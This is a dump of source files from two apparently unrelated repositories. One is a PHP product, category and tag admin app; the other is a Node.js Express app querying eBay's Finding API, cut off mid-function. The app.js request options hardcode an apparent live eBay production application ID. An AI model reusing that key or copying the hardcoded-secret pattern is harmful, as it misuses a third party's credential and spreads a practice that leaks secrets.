$category = Category::destroy($id);
return redirect('manage/kategori');
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
use Illuminate\Database\Capsule\Manager;
class Gen extends CI_Controller
{
public function __construct()
{
parent::__construct();
if (!is_cli()) {
exit("Only CLI");
}
}
public function index()
{
$db = new Manager;
$db->schema()->create('products', function ($t) {
$t->increments('id');
$t->integer('cat_id')->nullable();
$t->string('title');
$t->string('slug');
$t->string('image');
$t->text('detail');
$t->timestamps();
});
return dd('Generate table berhasil');
}
}<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Welcome extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model(['Product', 'Category', 'Tag']);
}
public function index()
{
return $this->twig->display('page/index');
}
public function produk()
{
return $this->twig->display('page/produk');
}
public function galeri()
{
return $this->twig->display('page/galeri');
}
public function tentang()
{
return $this->twig->display('page/about');
}
public function kategori($slug)
{
return $this->twig->display('test');
}
public function blog($slug)
{
$product = Product::whereSlug($slug)->first();
if (is_null($product)) {
return show_404();
}
return $this->twig->display('page/item', compact('product'));
}
public function search($value = null)
{
# code...
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
if (! function_exists('segment')) {
function segment($data)
{
$CI =& get_instance();
return $CI->uri->segment($data);
}
}
if (! function_exists('carbon')) {
function carbon()
{
return Carbon\Carbon::now();
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Komentar extends CI_Controller
{
public function __construct()
{
parent::__construct();
}
public function index()
{
return $this->twig->display('admin/label/index');
}
public function simpan()
{
return dd('Kategori');
}
public function detail()
{
return $this->twig->display('admin/label/detail');
}
public function edit()
{
return $this->twig->display('admin/label/edit');
}
public function update()
{
return redirect();
}
public function hapus($id)
{
return redirect();
}
}
<file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Label extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model(['Tag']);
}
public function index()
{
$tags = Tag::get();
return $this->twig->display('admin/label/index', compact('tags'));
}
public function tambah()
{
if (!empty($_POST)) {
Tag::create(['name' => ucwords($_POST['name']), 'slug' => str_slug($_POST['name'])]);
return redirect('manage/label');
}
return $this->twig->display('admin/label/create');
}
public function detail($id)
{
$tag = Tag::find($id);
return $this->twig->display('admin/label/tampil', compact('tag'));
}
public function edit($id)
{
$tag = Tag::find($id);
if (!empty($_POST)) {
$tag->update(['name' => ucwords($_POST['name']), 'slug' => str_slug($_POST['name'])]);
return redirect('manage/label/detail/' . $tag->id);
}
return $this->twig->display('admin/label/edit', compact('tag'));
}
public function hapus($id)
{
$tag = Tag::destroy($id);
return redirect('manage/label');
}
}
| 4389aaf8414a4a58b69ddead06222ef7ce2dcd39 | [
"PHP"
] | 11 | PHP | ngintul/maya | dac195599cca12f94865c4f2c7b9e4d620bb1a72 | ae44f38f372c68e210d71099760bad3473ca246f |
refs/heads/master | <file_sep># CD-UI-NEXT
:art:项目初始化
<file_sep>import LoadingVue from './Loadingbar.vue'
import { createApp, App, ComponentPublicInstance } from 'vue'
interface CILoading {
loadingInstance: App
loadEl: ComponentPublicInstance
start(): void
update(value: number): void
finish(): void
}
interface CLoadingProps {
start: boolean
progress: number
height: number
}
class Loading implements CILoading {
loadingInstance = createApp(LoadingVue)
loadEl: ComponentPublicInstance
constructor() {
const el = this.loadingInstance.mount(document.createElement('div'))
document.body.appendChild(el.$el)
this.loadEl = el
}
start() {
;(this.loadEl.$data as CLoadingProps).start = true
;(this.loadEl.$data as CLoadingProps).progress = 90
}
update(value: number) {
;(this.loadEl.$data as CLoadingProps).start = false
;(this.loadEl.$data as CLoadingProps).progress = value
}
finish() {
;(this.loadEl.$data as CLoadingProps).start = false
;(this.loadEl.$data as CLoadingProps).progress = 100
;(this.loadEl.$data as CLoadingProps).height = 0
}
}
const instance = new Loading()
export default instance
<file_sep>export const isNumber = (val: unknown): boolean => typeof val === 'number'
<file_sep>import { IEqual } from './types/global'
import Button from './components/button'
import Icon from './components/icon'
import Loading from './components/loading'
import Loadingbar from './components/loadingbar'
import './styles/index.less'
import { App } from 'vue'
const components = {
// Breadcrumbs,
Button,
Icon,
Loading,
}
function install(Vue: App) {
// tslint:disable-next-line: forin
for (const component in components) {
// @ts-expect-error
Vue.component(components[component].name, components[component])
}
// Vue.config.globalProperties.$Message = Message
// Vue.config.globalProperties.$Notification = Notification
Vue.config.globalProperties.$Loading = Loadingbar
Vue.config.globalProperties.$Equal = {
drawers: [],
modals: [],
} as IEqual
}
export default { install }
export { default as Button } from './components/button'
export { default as Icon } from './components/icon'
export { default as Loading } from './components/loading'
export { default as Loadingbar } from './components/loadingbar'
<file_sep>declare module 'cd-ui'
| 539fccfdd2b28faa2c85727a27b581e73612e40f | [
"Markdown",
"TypeScript"
] | 5 | Markdown | caidix/cd-ui-next | bcfd16928b1d64e0a2a7016c0cb5bf19e7f42e84 | 10f0b3e8376dd9fbe2f90100df79ab5dbc3339f9 |
refs/heads/main | <file_sep>package com.natetheprogrammer.alarmipator;
import android.app.Notification;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.widget.Toast;
import androidx.core.app.NotificationCompat;
import androidx.core.app.NotificationManagerCompat;
public class AlertBR extends BroadcastReceiver {
MediaPlayer mediaPlayer;
String title = "<untitled>";
String message = "<empty>";
@Override
public void onReceive(Context context, Intent intent) {
context = context.getApplicationContext();
title = intent.getStringExtra("title");
message = intent.getStringExtra("message");
Notification notification = new NotificationCompat.Builder( context, App.NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_baseline_notifications_active_24)
.setContentTitle(title)
.setContentText(message)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setCategory(NotificationCompat.CATEGORY_MESSAGE)
.build();
NotificationManagerCompat nmc = NotificationManagerCompat.from(context);
nmc.notify(1, notification);
mediaPlayer = MediaPlayer.create(context, R.raw.knock);
mediaPlayer.start();
Toast.makeText(context, title+"\n"+message, Toast.LENGTH_LONG).show();
}
}
<file_sep>package com.natetheprogrammer.alarmipator;
import android.app.Application;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.os.Build;
public class App extends Application {
public static final String NOTIFICATION_CHANNEL_ID = "Channel 1";
@Override
public void onCreate() {
super.onCreate();
}
}
| 610e0263155f49cc41ae034ec0755615dbe21f7a | [
"Java"
] | 2 | Java | n8bar/Alarmipator | 3afd2ab3d28c0b023d61706d533c18f2813ddda6 | 4fadc2fe7ec891ca281083672624115325d30512 |
refs/heads/master | <file_sep># mavenweb
maven webapp
maven web工程
<file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.jason</groupId>
<artifactId>mavenweb</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>mavenweb Maven Webapp</name>
<url>http://maven.apache.org</url>
<properties>
<jdk.version>1.8</jdk.version>
<spring.version>4.3.6.RELEASE</spring.version>
<jstl.version>1.2</jstl.version>
<junit.version>4.11</junit.version>
<logback.version>1.1.2</logback.version>
<jcl-over-slf4j.version>1.7.25</jcl-over-slf4j.version>
</properties>
<dependencies>
<!-- Unit Test -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
</dependency>
<!-- Spring Core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.6.RELEASE</version>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<version>1.7.25</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.3.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.6.RELEASE</version>
</dependency>
<!-- jstl -->
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<!-- <scope>,它主要管理依赖的部署。目前<scope>可以使用5个值:
* compile,缺省值,适用于所有阶段,会随着项目一起发布。
* provided,类似compile,期望JDK、容器或使用者会提供这个依赖。如servlet.jar。
* runtime,只在运行时使用,如JDBC驱动,适用运行和测试阶段。
* test,只在测试时使用,用于编译和运行测试代码。不会随项目发布。
* system,类似provided,需要显式提供包含依赖的jar,Maven不会在Repository中查找它
-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.5.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.5.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.5.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.jr</groupId>
<artifactId>jackson-jr-all</artifactId>
<version>2.5.0</version>
</dependency>
</dependencies>
<build>
<finalName>mavenweb</finalName>
<defaultGoal>compile</defaultGoal>
<plugins>
<!-- Eclipse project -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-eclipse-plugin</artifactId>
<version>2.9</version>
<configuration>
<!-- Always download and attach dependencies source code -->
<downloadSources>true</downloadSources>
<downloadJavadocs>false</downloadJavadocs>
<!-- Avoid type mvn eclipse:eclipse -Dwtpversion=2.0 -->
<wtpversion>2.0</wtpversion>
</configuration>
</plugin>
<!-- Set JDK Compiler Level -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3.2</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<!-- For Maven Tomcat Plugin -->
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.2</version>
<configuration>
<path>/mavenweb</path>
</configuration>
</plugin>
</plugins>
</build>
</project>
<file_sep>package com.jason.controller;
/**
* 给文章做评论,先去掉文章中敏感词汇,然后保存到数据库
* 再redirct到显示结果的处理器
*
* 通过跟踪请求梳理springmvc请求处理流程
*
* http://localhost:8080/mavenweb/articles/67/comment?comment=好k1文章k2
*/
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.SessionAttributes;
import org.springframework.web.bind.support.SessionStatus;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
@Controller
@SessionAttributes("articleId")
public class FlowController
{
//敏感词
private final String[] sensitiveWords = new String[]{"k1", "k2"};
@ModelAttribute("comment")
public String replaceSensitiveWords(String comment)
{
if(comment != null)
{
System.out.println("原始comment:"+comment);
for (String word : sensitiveWords)
{
comment = comment.replaceAll(word, "");
}
System.out.println("替换后comment:"+comment);
}
return comment;
}
@RequestMapping(value={"/articles/{articleId}/comment"})
public String doComment(@PathVariable String articleId, RedirectAttributes attributes, Model model)
{
attributes.addFlashAttribute("comment", model.asMap().get("comment"));
model.addAttribute("articleId", articleId);
//保存数据库操作
return "redirect:/showArticle";
}
@RequestMapping(value={"/showArticle"}, method=RequestMethod.GET)
public String showArticle(Model model, SessionStatus sessionStatus)
{
String articleId = (String) model.asMap().get("articleId");
model.addAttribute("articleTitle", articleId+"文章标题");
model.addAttribute("article", articleId+"文章内容");
sessionStatus.setComplete();
return "article";
}
}
| 469c800acc82872a9b42ad603fc025f49ecaf893 | [
"Markdown",
"Java",
"Maven POM"
] | 3 | Markdown | chenack/mavenweb | b5815699abbf4f2301b105ffe9dd528608111d0f | d0c39d536a7216b9d9b2c5456c6fcd632e1721a9 |
refs/heads/master | <repo_name>gabrielhfgomes/entregando_mercadorias<file_sep>/app/models/route.rb
class Route < ActiveRecord::Base
attr_accessible :distance, :map_id, :source, :target
validates_presence_of :distance, :map_id, :source, :target
belongs_to :map
end
<file_sep>/app/controllers/algorithms_controller.rb
class AlgorithmsController < ApplicationController
#This function redirects to the view new
def new
end
#This function call the dijkstra algorithm, make a new instance of Algorithm
#calculate de smaller distance and the path to it.
def create
@algorithm = Algorithm.create(algorithm_params)
if @algorithm.save
require_relative '../../lib/dijkstra.rb'
@routes = Route.where(map_id: @algorithm.map_id)
@graph = Graph.new
(1..6).each {|node| @graph.push node }
@routes.each do |route|
@graph.connect_mutually route.source.to_i, route.target.to_i, route.distance.to_i
end
@graph
@graph.length_between(@algorithm.form_source.to_i, @algorithm.form_target.to_i)
@graph.neighbors(@algorithm.form_source.to_i)
minimum_distance = @graph.dijkstra(@algorithm.form_source.to_i, @algorithm.form_target.to_i)[:distance]
@algorithm.form_total = (minimum_distance/@algorithm.form_autonomy) * @algorithm.form_cost
else
render 'errors/routesError'
end
end
private def algorithm_params
params.require(:algorithm).permit(:map_id, :form_source, :form_target, :form_autonomy, :form_cost)
end
end
<file_sep>/app/models/map.rb
class Map < ActiveRecord::Base
attr_accessible :name
validates_presence_of :name
has_many :routes
end
<file_sep>/app/controllers/maps_controller.rb
class MapsController < ApplicationController
#This function show all maps
def index
@map = Map.all
end
#This function shows the created map
def show
@map = Map.find(params[:id])
end
#This function create a new map and save in the database
def create
@map = Map.create(map_params)
@map.save
redirect_to @map
end
#This function redirect to the view 'new'
def new
end
#This function implements strong parameters
private
def map_params
params.require(:map).permit(:name)
end
end
<file_sep>/app/models/algorithm.rb
class Algorithm < ActiveRecord::Base
attr_accessible :form_autonomy, :form_cost, :form_source, :form_target, :form_total, :map_id
validates_presence_of :map_id, :form_source, :form_target, :form_autonomy, :form_cost
end
<file_sep>/app/controllers/routes_controller.rb
class RoutesController < ApplicationController
#This function show all routes
def index
mapID = params[:id]
@map = Map.find(mapID)
@routes = Route.where(map_id: mapID)
end
#This function create new route and save it on the database
def create
@route = Route.new(route_params)
@route.save
redirect_to '/routes/map/'+@route.map_id.to_s
end
#This function redirect to the view 'new'
def new
end
#This function implements strong parameters
private
def route_params
params.require(:route).permit(:map_id, :source, :target, :distance)
end
end
<file_sep>/db/migrate/20150210170505_create_algorithms.rb
class CreateAlgorithms < ActiveRecord::Migration
def change
create_table :algorithms do |t|
t.integer :map_id
t.integer :form_source
t.integer :form_target
t.float :form_autonomy
t.float :form_cost
t.float :form_total
t.timestamps
end
end
end
| f2979edcd5e9ed6fd180a4cc668df9a52359ff8a | [
"Ruby"
] | 7 | Ruby | gabrielhfgomes/entregando_mercadorias | 3c12d02201392e1e50d59d7b40f7e92d0542b722 | 372714d76de47c5466fc721704cefc6b75f2a5d5 |
refs/heads/master | <repo_name>lobida/pylevelup-project<file_sep>/pyinit-project/pyinit/zzz_ezinstall.py
# content of zzz_ezinstall.py
if __name__ == "__main__":
from ezinstall import install
install(__file__)
<file_sep>/README.rst
#################
PyLevelup Project
#################
VCS
===
Using Git-Flow as version control template
Projects
========
Inspired by "I'm doing 100+ projects in Python to learn the language"
Python Style
============
https://goo.gl/eQL4vz
README Style
============
restructuredtext riv.vim
Build Deploy
============
Docker
<file_sep>/pyinit-project/pyinit/__init__.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Package Description.
"""
__version__ = "0.0.1"
__short_description__ = "Package short description."
__license__ = "MIT"
__author__ = "<NAME>"
__author_email__ = "<EMAIL>"
__maintainer__ = "<NAME>"
__maintainer_email__ = "<EMAIL>"
__github_username__ = "lobida"
<file_sep>/pyinit-project/README.rst
.. image:: https://travis-ci.org/lobida/pyinit-project.svg?branch=master
.. image:: https://img.shields.io/pypi/v/pyinit.svg
.. image:: https://img.shields.io/pypi/l/pyinit.svg
.. image:: https://img.shields.io/pypi/pyversions/pyinit.svg
Welcome to pyinit Documentation
===========================================
This is just a example project for demonstration purpose.
Simply created this project by start-a-project._generate_automate_scripts.py
**Quick Links**
---------------
- `GitHub Homepage <https://github.com/lobida/pyinit-project>`_
- `Online Documentation <http://no_s3.s3.amazonaws.com/pyinit/index.html>`_
- `PyPI download <https://pypi.python.org/pypi/pyinit>`_
- `Install <install_>`_
- `Issue submit and feature request <https://github.com/lobida/pyinit-project/issues>`_
- `API reference and source code <http://no_s3.s3.amazonaws.com/pyinit/py-modindex.html>`_
.. _install:
Install
-------
``pyinit`` is released on PyPI, so all you need is:
.. code-block:: console
$ pip install pyinit
To upgrade to latest version:
.. code-block:: console
$ pip install --upgrade pyinit
| 0cd08477402bc63385fba33efe3efb8aee709b77 | [
"Python",
"reStructuredText"
] | 4 | Python | lobida/pylevelup-project | a3bd98951d695a73a4269e38e49071466ee4d95b | 7e0fd9904152ad7ca9719cdff223a3d7f8f647ff |
refs/heads/master | <file_sep># glite-info-update-endpoints
This component is used with Top BDII and is intented to update LDAP endpoits for EGI.
BDII documentation is available here: https://gridinfo-documentation.readthedocs.io/
`glite-info-update-endpoints` is a cron job that runs every hour to download
the list of site BDII URLs that are going to be used by the top level
BDII to publish their resources.
The script uses the `/etc/glite/glite-info-update-endpoints.conf` file which
by default is configured to use EGI's list of site BDIIs.
The list of site BDIIs is taken from the EGI GOCDBs.
## Building packages
A Makefile allowing to build source tarball and packages is provided.
### Building a RPM
The required build dependencies are:
- rpm-build
- make
- rsync
```sh
# Checkout tag to be packaged
git clone https://github.com/EGI-Foundation/glite-info-update-endpoints.git
cd glite-info-update-endpoints
git checkout X.X.X
# Building in a container
docker run --rm -v $(pwd):/source -it centos:7
yum install -y rpm-build make rsync
cd /source && make rpm
```
The RPM will be available into the `build/RPMS` directory.
## Installing from source
This procedure is not recommended for production deployment, please consider using packages.
Get the source by cloning this repo and do a `make install`.
## Preparing a release
- Prepare a changelog from the last version, including contributors' names
- Prepare a PR with
- Updating version and changelog in `glite-info-update-endpoints.spec`
- Updating authors in `AUTHORS`
- Once the PR has been merged tag and release a new version in GitHub
- Packages will be built using Travis and attached to the release page
## History
This work started under the EGEE project, and was hosted and maintained for a long time by CERN.
This is now hosted here on GitHub, maintained by the BDII community with support of members of the EGI Federation.
<file_sep>pylint
flake8
flake8-import-order
hacking
<file_sep>#!/usr/bin/env python
"""
This component is used with Top BDII and is intented to update LDAP endpoits
for EGI.
glite-info-update-endpoints is a cron job that runs every hour to download
the list of site BDII URLs that are going to be used by the top level
BDII to publish their resources.
The script uses the /etc/glite/glite-info-update-endpoints.conf file which
by default is configured to use EGI's list of site BDIIs.
The list of site BDIIs is taken from the EGI GOCDBs.
"""
# global-*: global usage should be fixed by using a class
# invalid-name: module name is not appropriate
# pylint: disable=global-statement, global-at-module-level, invalid-name
import ConfigParser
import getopt
import logging
import os
import pickle
import ssl
import sys
import time
import urllib2
try:
from xml.etree import ElementTree
except ImportError:
from elementtree import ElementTree
LOG = None
CONFIG = None
def setup_logging():
"""creates and returns stderr logger"""
global LOG
LOG = logging.getLogger()
hdlr = logging.StreamHandler()
form = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s')
hdlr.setFormatter(form)
LOG.addHandler(hdlr)
LOG.setLevel(logging.WARN)
def parse_args():
"""Parses the command line arguments"""
global LOG
try:
opts, dummy = getopt.getopt(sys.argv[1:], "c:hv",
["config", "help", "verbose"])
except getopt.GetoptError as error:
LOG.error("While parsing arguments: %s.", str(error).strip())
usage()
sys.exit(1)
for opt, arg in opts:
if opt == "-c" or opt == "--config":
read_config(arg)
elif opt == "-h" or opt == "--help":
usage()
sys.exit()
elif opt == "-v" or opt == "--verbose":
LOG.setLevel(logging.DEBUG)
def read_config(config_file):
"""Configuration file reader
Reads the configuration from the given file
and asserts the correctness and logical consistency
of the content.
"""
global CONFIG
CONFIG = {}
config_parser = ConfigParser.ConfigParser()
# First, check whether the configuration file is corrupt overall
try:
config_parser.read(config_file)
except ConfigParser.ParsingError as error:
LOG.error("Configuration file '%s' contains errors.", config_file)
LOG.error(str(error))
sys.exit(1)
# Then, check for mandatory parameters.
# EGI and manual have to be set, else we can't continue
try:
for parameter in ['EGI', 'manual']:
try:
CONFIG[parameter] = config_parser.getboolean('configuration',
parameter)
except ValueError:
LOG.error("The value for parameter '%s' is not a boolean",
parameter)
sys.exit(1)
for parameter in ['output_file', 'cache_dir',
'certification_status']:
CONFIG[parameter] = config_parser.get('configuration', parameter)
for parameter in ['cafile', 'capath']:
if config_parser.has_option('configuration', parameter):
CONFIG[parameter] = config_parser.get('configuration',
parameter)
else:
CONFIG[parameter] = None
except ConfigParser.NoSectionError:
LOG.error(("Missing section 'configuration' in"
" the configuration file %s."), config_file)
sys.exit(1)
except ConfigParser.NoOptionError:
LOG.error("Missing parameter '%s' in the configuration file %s.",
parameter, config_file)
sys.exit(1)
# If you do set manual = True , you're gonna need a manual_file
if CONFIG['manual']:
try:
CONFIG['manual_file'] = config_parser.get('configuration',
'manual_file')
except ConfigParser.NoOptionError:
LOG.error("You have specified manual configuration, but no "
"manual_file in the %s configuration file", config_file)
sys.exit(1)
def usage():
"""prints the command line options of the program"""
print("""
Usage:""", os.path.basename(sys.argv[0]), """[options]
Options:
-c --config Configuration File
-h --help Display this help
-v --verbose Run in verbose mode
""")
def get_url_data(url):
"""Retrieve the content of a resource at a specific URL"""
# python urllib2 introduced server certificate validation starting
# with version 2.7.9 and 3.4 (backported also e.g. to CentOS7). It
# is no longer possible to download HTTPS data without having server
# CA certificate in trusted store or explicitely disable verification.
if hasattr(ssl, 'create_default_context'):
capath = CONFIG.get('capath')
cafile = CONFIG.get('cafile')
# pylint: disable=protected-access
if capath is not None or cafile is not None:
context = ssl.create_default_context(cafile=cafile, capath=capath)
else:
context = ssl._create_unverified_context()
return urllib2.urlopen(url, context=context).read()
else:
# older python versions doesn't really verify server certificate
return urllib2.urlopen(url).read()
def get_egi_urls(status):
"""Retrieve production sites from GOCDB"""
egi_goc_url = ("https://goc.egi.eu/gocdbpi/public/"
"?method=get_site_list&certification_status=%s"
"&production_status=Production") % status
try:
response = get_url_data(egi_goc_url)
# pylint: disable=broad-except
except Exception as error:
LOG.error("unable to get GOCDB Production %s sites: %s", status,
str(error))
return ""
root = ElementTree.XML(response)
egi_urls = {}
for node in root:
if not node.attrib['ROC'] in egi_urls.keys():
egi_urls[node.attrib['ROC']] = []
egi_urls[node.attrib['ROC']].append((node.attrib['NAME'],
node.attrib['GIIS_URL']))
return egi_urls
def create_urls_file(egi_urls):
"""Create the Top Level BDII configuration file"""
now = time.asctime()
header = """#
# Top Level BDII configuration file
# ---------------------------------
# created on %s
#
# This file is generated, DO NOT EDIT it directly
#
""" % now
if not os.path.exists(os.path.dirname(CONFIG['output_file'])):
LOG.error("Output directory '%s' does not exist.",
CONFIG['output_file'])
sys.exit(1)
file_handle = open(CONFIG['output_file'] + ".tmp", 'w')
file_handle.write(header)
if egi_urls:
for region in egi_urls:
file_handle.write("\n#\n# %s\n# -----------\n#\n" % region)
for site in egi_urls[region]:
file_handle.write("\n#%s\n" % site[0])
file_handle.write("%s %s\n" % site)
if CONFIG['manual']:
if os.path.exists(CONFIG['manual_file']):
contents = open(CONFIG['manual_file']).read()
file_handle.write("\n\n# Appended Manual Additions\n\n")
file_handle.write(contents)
else:
LOG.error("Manual URL file %s does not exist!",
CONFIG['manual_file'])
sys.exit(1)
file_handle.close()
os.rename(CONFIG['output_file'] + ".tmp", CONFIG['output_file'])
if __name__ == "__main__":
setup_logging()
CONFIG = None
parse_args()
if not CONFIG:
LOG.error("No configuration file given.")
usage()
sys.exit(1)
EGI_URLS = None
if CONFIG.get('EGI'):
if not CONFIG['certification_status'] in ["Candidate", "Uncertified",
"Certified", "Closed",
"Suspended"]:
MESSAGE = "'%s' is not a valid certification_status." \
% CONFIG['certification_status']
LOG.error(MESSAGE)
sys.exit(1)
EGI_URLS = get_egi_urls(CONFIG['certification_status'])
PICKLE_FILE = CONFIG['cache_dir'] + '/' + 'EGI.pkl'
if EGI_URLS:
FILE_HANDLE = open(PICKLE_FILE, 'wb')
pickle.dump(EGI_URLS, FILE_HANDLE)
FILE_HANDLE.close()
else:
LOG.warn(("EGI GOCDB could not be contacted or returned no"
" information about EGI sites."
" Using cache file for EGI URLs."))
FILE_HANDLE = open(PICKLE_FILE, 'rb')
EGI_URLS = pickle.load(FILE_HANDLE)
FILE_HANDLE.close()
create_urls_file(EGI_URLS)
| cbb8d743056f38938165a888b7b3b14f92c24b26 | [
"Markdown",
"Python",
"Text"
] | 3 | Markdown | enolfc/glite-info-update-endpoints | d19a4fed53ae2c0caad2593164ca7300552d0027 | d7ce2d2d5921e4c1efd24ddfc2022bcf5277deb8 |
refs/heads/master | <file_sep>package pe.edu.ulima.myapplication;
import android.os.Handler;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
public class MainActivity extends AppCompatActivity {
private Button but;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
but = (Button) findViewById(R.id.but);
but.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
ThreadPoolExecutor poolExecutor=new ThreadPoolExecutor(
5,
5,
60l,
TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>()
);
final Runnable porcionUI = new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this, "PRUEBITA", Toast.LENGTH_SHORT).show();
}
};
final Handler handler= new Handler();
for(int i=0;i<5 ; i++){
final int cont=i;
poolExecutor.execute(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
Log.i("MainActivity","Cont: "+cont);
handler.post(porcionUI);
}
});
}
}
});
}
}
| 176133c33c4be1f95cfa2091e5b4f309a4136994 | [
"Java"
] | 1 | Java | joseluisgd/hilos | 39cb97d40683e0d39e0bb234cd8bae2a32afd672 | 30e9f30ad9de57c2c1ad5e2912af40a61b67f2c5 |
refs/heads/master | <repo_name>rbricheno/RAK811-encoding<file_sep>/example.c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
const char *hexdigits = "0123456789ABCDEF";
/*
* Each ASCII byte is encoded as two hexadecimal digits.
* The resulting buffer is suitable for use as "datahex" in
* function rk_sendData(type, port, datahex) seen here:
* https://github.com/RAKWireless/RAK811/blob/master/Arduino%20Library/RAK811/RAK811.cpp
*/
char* makeRak (uint8_t* inputBuffer, int inputSize) {
int i, j;
char* compositionBuffer = (char*) malloc(inputSize*2 + 1);
for (i = j = 0; i < inputSize; i++) {
unsigned char c;
c = (inputBuffer[i] >> 4) & 0xf;
compositionBuffer[j++] = hexdigits[c];
c = inputBuffer[i] & 0xf;
compositionBuffer[j++] = hexdigits[c];
}
return compositionBuffer;
}
int main(void) {
// uint8_t* inputBuffer = lpp.getBuffer();
// int inputSize = lpp.getSize();
char a[] = "ABCD";
uint8_t* inputBuffer = (uint8_t*) a;
int inputSize = sizeof(inputBuffer);
char* p = makeRak(inputBuffer, inputSize);
puts(p);
free(p);
}
<file_sep>/README.md
# RAK811-encoding
Encode data into a format that the RAK811 LoRaWAN module can consume
| e5c7769ec0ebc4f1037d91f35156a3657292b822 | [
"Markdown",
"C"
] | 2 | C | rbricheno/RAK811-encoding | 8dd23a998e7407ed93b11a0536f1da6d4521065d | f3166f1cfd36a30e2f3e4c3ec1d5bd99b9aaeb90 |
refs/heads/master | <repo_name>njsoria/ebayData<file_sep>/app.js
const request = require("request");
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/users', usersRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
var options = { method: 'GET',
url: 'https://svcs.ebay.com/services/search/FindingService/v1',
qs:
{ 'OPERATION-NAME': 'findItemsByKeywords',
'SECURITY-APPNAME': 'devKore-devkore-PRD-c393cab7d-511d9e96',
'RESPONSE-DATA-FORMAT': 'JSON',
keywords: 'DELL 43 ULTRA HD 4K'},
headers:
{ 'Postman-Token': '<PASSWORD>',
'cache-control': 'no-cache' }
};
//we'll use request to make the API calls to eBay
function getPrice(options, callback){
request(options, function (error, response, body) {
if (error) throw new Error(error);
//turn the response into a JSON object
body = JSON.parse(body);
//let's add up the prices we get
let price = 0;
//let's track how many items actually have a listing price
let itemCount = 0;
//loop through the 100 items returned
for(var i=0; i<100; i++){
//lets see if we can get a listing price value
try{
//if we're successful then assign it to an easier to use var
